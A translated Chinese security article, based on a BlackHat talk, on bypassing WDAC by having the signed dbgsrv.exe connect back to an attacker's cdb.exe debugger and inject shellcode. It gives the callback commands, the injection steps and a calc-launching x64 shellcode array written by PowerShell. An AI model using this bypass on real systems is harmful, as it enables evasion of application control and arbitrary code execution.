如何利用dbgsrv.exe绕过WDAC

iso60001  1715天前

22.jpg

WDAC - Windows Defender应用程序控制

微软自带应用和黑名单

注:这篇文章包含了2019年Casey Smith和Ross Wolf在美国BlackHat大会上的演讲内容

目前,Windows中存在很多基于白名单程序的代码执行绕过,攻击者会利用微软系统自带应用中的某些功能来合法执行恶意代码。由于大多数绕过方法都是基于系统应用的合法功能,而不是直接突破白名单的限制,所以微软通常不会对这些脆弱的应用大动干戈,但官方会维护一个应用“黑名单”列表,提示各大公司组织都应在自己的网络环境中限制这些应用,除非非用不可。

如果你看下这个黑名单列表,你会看到很多熟悉的身影,比如:

  • Msbuild.exe

  • Wmic.exe

  • Mshta.exe

此外,黑名单中还有另一类应用,主要是调试器工具,例如:

  • Cdb.exe

  • Dbghost.exe

  • Dbgsvc.exe

  • Windbg.exe

从绕过的角度来看,调试器似乎并不是很常用,但是,它们被包含在这个黑名单肯定是有道理的,对吗?假设,如果我们能够与进程交互并修改其执行动作,那就可以绕过系统上的任何保护来执行任意代码。调试器也是如此,不同程序都可扩展调试功能,从而允许攻击者以意想不到的方式滥用功能,导致任意代码执行。

让我们更深入地研究这个概念。

利用远程调试进行绕过

首先,让我们安装Windows 10 SDK(version 1903),特别是用于Windows的调试工具。在安装完成调试工具之后,让我们特别关注一下dbgsr.exe。与以前滥用白名单程序一样,找到一个可以利用的应用是重点。当使用sigcheckdbgsrv.exe进行检查,可以看到它是由Microsoft签名的。

33.png

下一个问题是dbgsr.exe究竟可做什么?它被称为“process server”,可让开发人员使用cdb.exe之类的调试器远程调试应用程序。你可以在这里查看该应用支持的各种命令行选项。其中,-t可让你为dbgsr.exe指定传输协议,这里还有进一步的说明文档dbgsr.exe支持的很多不同的传输方式:

  • 命名管道

  • TCP

  • 串行端口

  • SSL

  • 安全管道

为了“远程调试”,主动让dbgsr.exe回连攻击者所控制的计算机,从而利用这个微软签名应用达到远控的效果。

完成上述操作的第一步是设置调试器,将其配置为接受远程连接。这一步可以通过cdb.exe完成。虽然cdb.exe也在微软的黑名单中的,但这次它是在攻击者的机器上运行。接下来,我们就让dbgsr.exe回连到攻击者控制的机器。

首先将cdb.exe配置为接收我们的传入连接,可以运行以下命令:

&”C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe” -premote tcp:port=22,clicon=0.0.0.0 C:\Windows\system32\notepad.exe

其中-premote选项代表cdb.exe应该监听22端口,当调试器接收到传入连接时,远程系统生成notepad.exe进行调试。

44.png

下一步是让dbgsr.exe连接到攻击者控制的系统,并与调试器进行交互。相关命令如下:

“C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exe” -t tcp:clicon=172.16.86.144,port=22

以上命令代表dbgsrv.exe以TCP的形式连接到172.16.93.144的22端口。因为cdb.exe早已运行,一旦你运行上面的命令,你就会看到一个notepad.exe在受害者系统上出现。

55.png

再回到攻击者的机器上,我们现在可以通过cdb.exe与远程系统上的notepad.exe进行交互。

66.png

用cdb.exe注入恶意代码

此时,只需使用cdb.exe将恶意代码注入notepad.exe并运行就大功告成了。这里牵涉到以下命令:

  • .dvalloc - 此命令将为调试后的进程中分配用户指定的内存

  • .readmem - 此命令将从文件中读取数据并将其复制到用户指定的内存地址中

  • .r @$ip= - 设置指令指针,从用户指定的内存地址开始运行命令

  • g - 指示cdb.exe开始执行

要进行彻底的武器化,需要创建一个包含shell代码的文件。在本例中,Casey创建了一个名为“shellcode”的文件,里面的代码将弹出计算器。

现在,我们需要在cdb中运行上述命令来攻击受害者系统。

[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
  0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
  0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
  0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
  0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
  0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
  0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
  0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
  0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
  0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
  0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
  0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
  0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
  0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
  0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
  0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)


[io.file]::WriteAllBytes('shellcode.jpg',$Shellcode64)

以上是利用powershell生成的恶意文件。

77.png

在执行完成之后,我们可以看到,受到严密保护的受害者系统跳出了计算器。

88.png

感谢你阅读这篇文章!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.fortynorthsecurity.com/how-to-bypass-wdac-with-dbgsrv-exe/

最新评论

昵称
邮箱
提交评论